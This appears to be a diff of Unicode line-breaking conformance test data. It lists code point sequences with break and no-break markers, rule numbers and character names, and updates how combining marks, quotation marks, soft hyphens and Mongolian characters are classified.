-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 0028 × 00AB × 0020 ÷ 0308 × 0020 ÷ 00BB × 0029 ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 0020 × 0028 × 0020 × 0308 × 0020 × 0029 × 0020 ÷ 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) × [15.0] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 202F × 0028 × 0020 × 0308 × 0020 × 0029 × 202F × 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 007B × 0308 × 007D ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT CURLY BRACKET (OP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 007B × 00AB × 0308 × 00BB × 007D ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.01] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 007B × 00AB × 0020 ÷ 0308 × 0020 ÷ 00BB × 007D ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 0020 × 007B × 0020 × 0308 × 0020 × 007D × 0020 ÷ 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) × [15.0] LEFT CURLY BRACKET (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 202F × 007B × 0020 × 0308 × 0020 × 007D × 202F × 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] LEFT CURLY BRACKET (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0063 × 0072 × 0065 × 0301 × 0028 × 0065 × 0301 × 0029 ÷ 0028 × 0065 × 0029 ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0063 × 0072 × 0065 × 0301 × 005B × 0065 × 0072 × 007C ÷ 0065 × 0301 × 0028 × 0065 × 0029 ÷ 0028 × 0073 × 0029 × 005D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM1_CM) × [30.01] LEFT SQUARE BRACKET (OP) × [14.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER R (AL) × [21.01] VERTICAL LINE (BA) ÷ [999.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT PARENTHESIS (CP) × [13.02] RIGHT SQUARE BRACKET (CP) ÷ [0.3]
+× 0063 × 0072 × 0065 × 0301 × 007B × 0065 × 0072 × 007C ÷ 0065 × 0301 × 0028 × 0065 × 0029 ÷ 0028 × 0073 × 0029 × 007D ÷ # × [0.3] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM1_CM) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER R (AL) × [21.01] VERTICAL LINE (BA) ÷ [999.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING ACUTE ACCENT (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER S (AL) × [13.02] RIGHT PARENTHESIS (CP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 0028 × 0308 × 0029 ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 0028 × 00AB × 0308 × 00BB × 0029 ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 0028 × 00AB × 0020 ÷ 0308 × 0020 ÷ 00BB × 0029 ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 0020 × 0028 × 0020 × 0308 × 0020 × 0029 × 0020 ÷ 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) × [15.0] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 202F × 0028 × 0020 × 0308 × 0020 × 0029 × 202F × 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 007B × 0308 × 007D ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT CURLY BRACKET (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 007B × 00AB × 0308 × 00BB × 007D ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 007B × 00AB × 0020 ÷ 0308 × 0020 ÷ 00BB × 007D ÷ 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [30.01] LEFT CURLY BRACKET (OP) × [14.0] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 0020 × 007B × 0020 × 0308 × 0020 × 007D × 0020 ÷ 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [7.01] SPACE (SP) × [15.0] LEFT CURLY BRACKET (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0061 × 006D × 0062 × 0069 × 0067 × 0075 × 00AB × 202F × 007B × 0020 × 0308 × 0020 × 007D × 202F × 00BB × 0028 × 0065 × 0308 × 0029 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER M (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER G (AL) × [28.0] LATIN SMALL LETTER U (AL) × [19.01] LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] LEFT CURLY BRACKET (OP) × [7.01] SPACE (SP) × [14.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) × [12.1] NARROW NO-BREAK SPACE (GL) × [12.0] RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER E (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0028 × 0063 × 007A × 0065 × 0072 × 0077 × 006F × 006E × 006F × 00AD ÷ 2011 × 0029 × 006E × 0069 × 0065 × 0062 × 0069 × 0065 × 0073 × 006B × 0061 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER Z (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER W (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER O (AL) × [21.01] SOFT HYPHEN (BA) ÷ [999.0] NON-BREAKING HYPHEN (GL) × [12.0] RIGHT PARENTHESIS (CP) × [30.02] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER S (AL) × [28.0] LATIN SMALL LETTER K (AL) × [28.0] LATIN SMALL LETTER A (AL) ÷ [0.3]
× 0028 × 0063 × 007A × 0065 × 0072 × 0077 × 006F × 006E × 006F × 00AD × 0029 × 2011 × 006E × 0069 × 0065 × 0062 × 0069 × 0065 × 0073 × 006B × 0061 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER Z (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER W (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER O (AL) × [21.01] SOFT HYPHEN (BA) × [13.02] RIGHT PARENTHESIS (CP) × [12.1] NON-BREAKING HYPHEN (GL) × [12.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER S (AL) × [28.0] LATIN SMALL LETTER K (AL) × [28.0] LATIN SMALL LETTER A (AL) ÷ [0.3]
× 0028 × 0063 × 007A × 0065 × 0072 × 0077 × 006F × 006E × 006F × 0029 × 00AD ÷ 2011 × 006E × 0069 × 0065 × 0062 × 0069 × 0065 × 0073 × 006B × 0061 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER C (AL) × [28.0] LATIN SMALL LETTER Z (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER R (AL) × [28.0] LATIN SMALL LETTER W (AL) × [28.0] LATIN SMALL LETTER O (AL) × [28.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER O (AL) × [13.02] RIGHT PARENTHESIS (CP) × [21.01] SOFT HYPHEN (BA) ÷ [999.0] NON-BREAKING HYPHEN (GL) × [12.0] LATIN SMALL LETTER N (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER B (AL) × [28.0] LATIN SMALL LETTER I (AL) × [28.0] LATIN SMALL LETTER E (AL) × [28.0] LATIN SMALL LETTER S (AL) × [28.0] LATIN SMALL LETTER K (AL) × [28.0] LATIN SMALL LETTER A (AL) ÷ [0.3]
@@ -6187,10 +7197,10 @@
× 0028 × 30CB × 30E5 × 30FC × 0029 × 30FB ÷ 30E8 × 30FC ÷ 30AF ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] KATAKANA LETTER NI (ID) × [21.03] KATAKANA LETTER SMALL YU (CJ_NS) × [21.03] KATAKANA-HIRAGANA PROLONGED SOUND MARK (CJ_NS) × [13.02] RIGHT PARENTHESIS (CP) × [16.0] KATAKANA MIDDLE DOT (NS) ÷ [999.0] KATAKANA LETTER YO (ID) × [21.03] KATAKANA-HIRAGANA PROLONGED SOUND MARK (CJ_NS) ÷ [999.0] KATAKANA LETTER KU (ID) ÷ [0.3]
× 007B × 30CB × 30E5 × 30FC × 30FB × 007D ÷ 30E8 × 30FC ÷ 30AF ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] KATAKANA LETTER NI (ID) × [21.03] KATAKANA LETTER SMALL YU (CJ_NS) × [21.03] KATAKANA-HIRAGANA PROLONGED SOUND MARK (CJ_NS) × [21.03] KATAKANA MIDDLE DOT (NS) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] KATAKANA LETTER YO (ID) × [21.03] KATAKANA-HIRAGANA PROLONGED SOUND MARK (CJ_NS) ÷ [999.0] KATAKANA LETTER KU (ID) ÷ [0.3]
× 007B × 30CB × 30E5 × 30FC × 007D × 30FB ÷ 30E8 × 30FC ÷ 30AF ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] KATAKANA LETTER NI (ID) × [21.03] KATAKANA LETTER SMALL YU (CJ_NS) × [21.03] KATAKANA-HIRAGANA PROLONGED SOUND MARK (CJ_NS) × [13.02] RIGHT CURLY BRACKET (CL) × [16.0] KATAKANA MIDDLE DOT (NS) ÷ [999.0] KATAKANA LETTER YO (ID) × [21.03] KATAKANA-HIRAGANA PROLONGED SOUND MARK (CJ_NS) ÷ [999.0] KATAKANA LETTER KU (ID) ÷ [0.3]
-× 0028 × 1850 × 1846 × 1851 × 1846 ÷ 1806 × 0029 × 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [13.02] RIGHT PARENTHESIS (CP) × [30.02] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM) ÷ [0.3]
-× 0028 × 1850 × 1846 × 1851 × 1846 × 0029 ÷ 1806 × 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [21.04] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM) ÷ [0.3]
-× 007B × 1850 × 1846 × 1851 × 1846 ÷ 1806 × 007D ÷ 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM) ÷ [0.3]
-× 007B × 1850 × 1846 × 1851 × 1846 × 007D ÷ 1806 × 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [21.04] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM) ÷ [0.3]
